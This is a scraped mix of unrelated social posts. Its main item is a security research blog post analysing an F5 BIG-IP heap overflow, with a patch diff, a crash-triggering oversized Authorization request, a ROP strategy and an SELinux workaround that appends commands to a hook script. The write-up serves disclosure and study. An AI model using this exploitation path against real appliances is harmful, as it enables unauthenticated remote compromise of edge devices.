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Okay I really wish I’d seen this a few days ago during all the “4” memes: At the start of the Night Gallery episode “The Return of the Sorcerer,” Vincent Price does a whole little rant about how 4 is the number of failure, “poverty, and defeat!” #4
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Fosters #4 At this point, they have all been adopted. We kept the one that bonded with our older cat even though he is a little weirdo. Hope you enjoyed the journey. Obviously there are a thousand more photos but you know how it is.
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React works by maintaining a virtual representation of the DOM. When you dispatch state changes into the virtual DOM react can determine which components depend on the change and which side useEffects run. My gripe is that YouTube tutorials teach that the useState is the equivalent of a variable. This encourages average developers to problem solve solutions that end up using React’s Virtual DOM for business logic. The YouTube tutorials have react devs planting 100s of useStates - some of which don’t directly induce a visible-on-screen rerender - and then ⅒ as many useEffects to bind these states together. This means that for the Virtual DOM to come to the conclusion as to what html elements need to be changed and how it has already mutated 20-50-100s of times and the CTO tells me the react app is slow and they’re mad. If 2 states have the opportunity to mutate each other back and forth then the truth is that you have 2 perspectives of the same state. And React gives you solutions for that - proper solutions - the useReducer hook is for defining these complex state mutations and the Context API for communicating that state to any component. And this has me quintuple pissed off because these same tutorial grade react devs install REDUX as compulsively as a pack-a-day smoker (that’s #3). They use Redux to file variables in JavaScript memory (that’s #4) like it’s a global variable and rarely if ever use it for the complex state mutations they need instead I’ve seen react devs write components pull state out of redux into a component just so it can mount useEffect and process the state and dispatch the result back into redux. Let’s not even bring up how the react-redux binding library literally uses the React Context API (that’s #5).
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Les utilisateurices de Yunohost, c’est l’heure de mettre à jour le système! EDIT 2: une nouvelle faille PHP a été détectée. Je vous encourage à couper tous les services qui s’appelle php-quelquechose dans l’interface de Yunohost. Source: https://fedi.katze.sh/@elise/117479383739450605 PHP: https://forum.yunohost.org/t/cve-2026-109618-109619-critical-vulnerability-in-php-upgrade-system-package-asap/43206 SSL: https://forum.yunohost.org/t/compromised-certificate-authority-upgrade-system-package-and-your-devices-asap/43207/1 EDIT 1: pour savoir si vous êtes à jour au niveau de la faille SSL découverte cette nuit, vous pouvez utiliser les deux commandes dans la console SSH de votre serveur: curl https://dv-g3b-emudhra.we-have-a-problem.com/ curl https://dv-g3b-aaa-emudhra.we-have-a-problem.com/ Si l’une d’elle affiche "hello", il vous reste des mises-à-jour à effectuer! #yunohost #php2shell #eMudhra #4
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Two more GOP amendments go down to crushing defeats, both in MO. #4 would have made future ballot initiatives impossible to pass by requiring winning a majority statewide *and* in each congressional district. #5 would have eliminated the state income tax.
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@coolbean@brain.worm.pink it def does some peephole optimizations : foo 15 1 + * 2 pick 3 - ; see foo \ output below : foo #4 lshift third #-3 + ; ok
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😈📊 MONSTERDON TOOT RATE: Last 4 Weeks Toots per minute (tpm) ⏰ #1: 33.9 tpm, Journey to the Center of Time (1967) #2: 32.9 tpm, Sting of Death (1966) #3: 26.8 tpm, The Dunwich Horror (1970) #4: 20.3 tpm, Night of the Comet (1984) #5: 5.1 tpm, Kraa! The Sea Monster (1998) 🧵 2/5 #DevilInTheDetails
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😈📊 MONSTERDON TOOT RATE: Last 16 Weeks Toots per minute (tpm) #1: 37.3 tpm, In the Year 2889 (1969) #2: 36.1 tpm, The Guyver (1991) #3: 35.5 tpm, Hawk the Slayer (1980) #4: 35.4 tpm, Zarkorr! The Invader (1996) #5: 34.0 tpm, Star Odyssey (1979) ... ⏰ #6: 33.9 tpm, Journey to the Center of Time (1967) 🧵 3/5 #DevilInTheDetails
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😈📊 MONSTERDON TOOT STRENGTH: Last 4 Weeks Engagements per toot (ept) #1: 2.08 ept, The Unearthly (1957) 🦗 #2: 2.03 ept, Beginning of the End (1957) #3: 2.01 ept, Spider Baby (1967) #4: 1.76 ept, Solarbabies (1986) #5: 1.70 ept, Wolfen (1981) 🧵 2/5 #DevilInTheDetails
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😈📊 MONSTERDON TOOT STRENGTH: Last 16 Weeks Engagements per toot (ept) #1: 2.15 ept, Son of Dracula (1943) #2: 2.08 ept, The Unearthly (1957) #3: 2.03 ept, Communion (1989) 🦗 #4: 2.03 ept, Beginning of the End (1957) #5: 2.01 ept, Spider Baby (1967) 🧵 3/5 #DevilInTheDetails
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😈📊 MONSTERDON TOOT STRENGTH: All Time Top 5 Engagements per toot (ept) #1: 3.01 ept, Evil of Dracula (1974) #2: 2.38 ept, Mars Attacks! (1996) #3: 2.17 ept, The Seven Magnificent Gladiators (1983) #4: 2.15 ept, Son of Dracula (1943) #5: 2.13 ept, The Monster That Challenged the World (1957) 🧵 4/5 #DevilInTheDetails
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Is This A Joke? In The Auth Header? (F5 BIG-IP UnAuth Heap-Overflow to RCE CVE-2026-94127)

Well, well, well, well, well, well, well, well, well, well, well, well, well, well, well. We're back. Sorry.

We've been watching the onslaught of vulnerabilities flood the internet. Every man, dog, and their grandmas (apparently?) are now using LLMs to find and reproduce vulnerabilities - it’s a free-for-all (unless you’re trying to buy RAM).

Unfortunately, while we're all finding more vulnerabilities and flexing obfuscated stack traces… (or emoji-ridden HTTP requests that are actually complete slop and not real, and please, for the love of god, no, those slop-ridden payloads appearing in your access_log are not proof of exploitation jesus wept, it’s becoming traumatic) …on many social media networks, some things have remained reassuringly steadfast: the vendors and their struggle to seemingly care about the security of your network.

Yes, that’s right - it’s time for more Secure by Design jokes. Welcome back to another watchTowr Labs blog post.

We’ve missed you (admit you’ve missed us, please).

You’ve guessed it - we’re looking at F5’s BIG-IP solution today. What Is CVE-2026-94127, and How Does Refresh Have A CVE? Hah.

F5, the Seattle-based vendor quietly responsible for a worrying amount of the internet's plumbing, makes BIG-IP: an application delivery controller (ADC) that sits in front of your applications and decides where every request goes.

Beyond basic load balancing, a typical BIG-IP deployment handles Layer 4 and Layer 7 traffic management, SSL/TLS offloading, DNS and global server load balancing, and, depending on how many licenses procurement signed off on, a web application firewall (Advanced WAF) and a remote access and SSO gateway (APM).

All of this runs on F5's own TMOS operating system and is administered through a web-based Configuration Utility (TMUI) and the iControl REST API.

In other words, it lives at the very edge of your network, terminates your TLS, sees all of your traffic in plaintext, and holds the keys to your authentication.

But what is CVE-2026-94127?

As with all good stories, it began with a new KB ID. On Sept 22nd (yesterday), F5 published the following advisory:

Despite the talk about planes, there was no flying (see! you’ve missed this humor!).

The F5 official advisory (K000162605) lists the following versions as affected:

Product Branch Versions known to be vulnerable Fixes introduced in

BIG-IP APM 21.x 21.1.0 Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso

BIG-IP APM 17.x 17.5.0 – 17.5.1 17.1.0 – 17.1.3 Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso

BIG-IP (all other modules) All None Not applicable

BIG-IQ Centralized Management All None Not applicable

Better yet, the CWE assignment quickly caught our attention:

Even more scary, though: this wasn't just any vulnerability. There were bad people on the Internet exploiting it. We instantly had questions: How could they? Aren't these complex vulnerabilities? Are they geniuses?When is dinner?Setting The Scene To fuel our analysis today, we set up an F5 BIG-IP appliance with a virtual server with an OAuth profile configured, and compared the following versions following our normal ‘what the hell has changed’ process: Vulnerable: BIG-IP 21.1.0, build 0.0.38Different: BIG-IP 21.1.0.2, hotfix build 0.30.22Patch-Diffing Our Way Out Of Hell As with any other beautifully designed security product (cough Citrix cough), it seems the person of interest is yet another massive ELF file.

Yeeting these files straight into IDA, and starting our good old friend Diaphora, we were greeted with the excitement of exporting 1728 functions in each binary to subsequently compare.

An eternity (7 TikTok videos) later, Diaphora finished its comparison, and the patch was, as always, depressing:

--- unpatched/tmm64.pgo_use/sub_10B01C0.c +++ patched/tmm64.pgo_use/sub_10B0E00.c @@ -163,10 +160,20 @@ -LABEL_17:

  • if ( !v13 ) +LABEL_26:
  • if ( v20 > 0x4100 )
  • {
  • v15 = 5;
  • v26 = 29;
  • v27 = "Authorization header too big.";
  • if ( *(_DWORD *)(v5 + 616) )
  •  goto LABEL_19;
    
  • goto LABEL_30;
  • }
  • if ( !v20 ) { -LABEL_21:
  • v22 = *(_QWORD *)(v5 + 520);
  • goto LABEL_22; +LABEL_11:
  • v10 = *(_QWORD *)(v5 + 520);
  • goto LABEL_12; }
  • if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
  • if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )

If you squint, you can spot a clue. The jokes are so obvious we’ve actually had to pace ourselves to painstakingly stretch them across today’s drivel. Before We Make The Obvious Jokes Let’s actually walk through the patched code and make it painstakingly clear (more than it is already) how ridiculous this entire situation is:

__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3) {

[..SNIP..]

++*(_QWORD *)(qword_51F36C0 + 1352); a3 = *(_QWORD )(a1 + 48); if ( ((_WORD )(a3 - 8) & 0x3FFF) == 0 ) goto LABEL_68; ++(_QWORD )((_QWORD )(a3 + 320) + 592LL); if ( v7 ) ++(_QWORD *)(v7 + 592); a2 = 66; v8 = (char *)umalloc(0x4100, 66, 0); // [1] allocate a heap buffer of size 0x4100 if ( !v8 ) { v15 = 1; v26 = 30; v27 = "Out of memory for UserInfo req"; if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; goto LABEL_30; } if ( *(_WORD *)(v3 + 442) <= 0x1Du ) goto LABEL_11; v9 = *(_WORD *)(v3 + 502); if ( v9 == 0xFFFF ) goto LABEL_11; a3 = v9; if ( *(_WORD *)(v3 + 440) <= v9 ) goto LABEL_11; a2 = *(_QWORD *)(v3 + 428); a3 = v9 >> 4; v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF); if ( !v17 ) goto LABEL_11; v18 = *(unsigned __int8 *)(v17 + 18); a3 = *(_DWORD )(v17 + 8) + (unsigned int)(unsigned __int16 *)(v17 + 16); v19 = *(_DWORD *)(v17 + 4) - a3; if ( v19 == v18 ) goto LABEL_11; v20 = (unsigned int)(v19 - v18); // [2] extract the Authorization header size v21 = *(_QWORD *)(v3 + 12); if ( v21 ) { v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6); v82 = *(_QWORD )(v3 + 12); v81 = v22; a3 = (unsigned int)((_DWORD *)v17 + a3); v23 = *(unsigned __int16 *)(v21 + 6); v24 = *(_QWORD )(v21 + 8); a2 = a3 + v22; if ( a2 >= v24 + v23 && a2 < (unsigned __int64)(unsigned __int16 *)(v21 + 4) + v23 + v24 ) { v81 = a2; goto LABEL_26; } } else { v81 = 0; v82 = 0; } a2 = (unsigned __int64)&v81; v25 = sub_15C4E80(v72, &v81); v15 = v25; if ( v25 != 18 && v25 ) { if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; v26 = 38; v27 = "Failed to lookup authorization header."; goto LABEL_30; } LABEL_26: if ( v20 > 0x4100 ) // [3] check the header size to not be more than 0x4100
{ v15 = 5; v26 = 29; v27 = "Authorization header too big."; // [4] error message if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; goto LABEL_30; } if ( !v20 ) { LABEL_11: v10 = *(_QWORD *)(v5 + 520); goto LABEL_12; }

// [5] copy the Authorization header value to the heap buffer which is v8 if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 ) { if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) ) { v13 = 43; v14 = "Authorization header must be of type Bearer"; LABEL_18: v15 = 4; sub_112F7C0(a1, v73, v5, 2, v14, v13); goto LABEL_19; }

[..SNIP..] At [1], a heap buffer of size 0x4100 is allocated using a umalloc call (let's just say it is a wrapper for malloc) and stored in the v8 variable.At [2], an object member is accessed, which we assume is the length of a provided Authorization: HTTP header, and stored in the v20 variable.At [3], this size variable is checked to be no more than 0x4100.At [4], if it is larger, an error is thrown.At [5], if not, the Authorization header value is copied into the heap buffer (v8). It is simple: before the patch, there was no size check before copying the value to the heap buffer, and now there is one.

To make it even simpler: the enterprise security appliance had a security vulnerability, grounded in a primitive from 20 years ago, specifically in how it handles security credentials.

Are we all being trolled? How Do We Trigger It? Now we understand what the vulnerability is, our next step is to actually trigger it and work out which season of The Truman Show we’re trapped within.

The advisory already mentions OAuth being in play here, and F5’s own documentation on OAuth has all the details we need.

First, the command to enable the Access Policy Manager (APM) OAuth profile:

The same page provides us with the HTTP endpoint we need to hit to trigger the OAuth flow (overwhelming evidence in the argument for security by obscurity):

So friendly.

We picked /f5-oauth2/v1/userinfo - but you guessed it, pick whatever you want. Triggering Trauma After configuring the OAuth profile, triggering it was as easy as sending the following request with an Authorization header larger than 0x4100 bytes:

GET /f5-oauth2/v1/userinfo HTTP/1.1 Host: bigip Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Connection: close

We immediately got a crash.

Oh, were you expecting the authentication boundary of your security appliance not to crash? Are you a moron?

As you can see below, ufree hit an assert while trying to dereference corrupted heap metadata:

rbx 0x30966e0 50947808 rcx 0x0 0 rdx 0x0 0 rsi 0x7feed66cd1c0 140663776399808 rdi 0x0 0 rbp 0x40000a150000 0x40000a150000 rsp 0x4000003fc880 0x4000003fc880 r8 0xa 10 r9 0x3442fac 54800300 r12 0x0 0 r13 0x5 5 r14 0x41414141 1094795585 r15 0x400004d62200 70368825319936 rip 0x16350b6 0x16350b6

#0 0x00000000016350b6 in ?? () #1 0x00000000016350d4 in tmm_assert () #2 0x000000000082be0a in ufree () #3 0x00000000010ba559 in ?? () #4 0x0000000000d5c35b in ?? () #5 0x0000000000dd8d33 in ?? () #6 0x0000000000858aee in ?? () #7 0x00000000008519c4 in ?? () #8 0x000000000084fc00 in ?? ()

We Were Shocked To find system-wide ASLR enabled. Even more surprisingly, and unlike some others (cough Citrix cough), on an F5 BIG-IP, there is no executable heap or stack.

Luckily for us, there is no PIE:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled

At this point, we realized we had got lucky with the heap layout. In about 90% of our runs, an object with a function pointer member lands just past our buffer, at buffer + 0x4ff8.

Here is roughly how we guessed the object's members are laid out:

+0x00 callback function +0x08 other fields +0x10 other fields

And here is the code that calls the overwritten function pointer:

mov rdi, [rbx+18h] ; rdi = address of the heap object mov r9, [rdi] ; r9 = object->callback call r9 ; call the overwritten address

A bit of basic stack-pivoting gets the alignment and arguments into place, and from there it is a clean run of gadgets.

Our first idea was a classic ret2plt: chain a gadget to call execvp:

execvp( "/bin/sh", (char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL } );

We actually built the gadget, but as always, the moment we let ourselves feel like we had achieved something, SELinux slapped us in the face and blocked the exec syscall:

-1, errno=13 (EACCES) :( Getting around SELinux While looking for a way around SELinux, we thought: what if we just write a file to disk and drop a web shell instead?

That plan was scuppered when we found the web server was also under SELinux.

So we started poking around further, monitoring processes, and noticed a Bash script that kept getting called every time our target process crashed:

bash /etc/bigstart/scripts/tmm.finish

A hook script? We decided to reuse the ret2plt, this time to append the command we wanted to run, to the hook script itself.

Here are the calls we make:

fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND); write(fd, "/usr/bin/touch /watchTowr.txt;", 30);

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It is 2026, AGI is here, and we are still writing overflow 101 vulnerability analyses.

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@harblinger@wizard.casa it's up 2026-09-23T18:31:26 mitra_workers::periodic_tasks [INFO] find_extraneous_posts query executed: 10.25ms 2026-09-23T18:31:26 mitra_activitypub::deliverer [WARN] failed to deliver activity to https://netzsphaere.xyz/users/whirly/inbox HTTP error 400: [400] "Invalid HTTP Signature" 2026-09-23T18:31:26 mitra_activitypub::queues [INFO] delivery job (attempt #4): 789.96ms, 0 delivered, 1 errors, 0 skipped 2026-09-23T18:31:26 mitra_activitypub::queues [INFO] reachability statuses update
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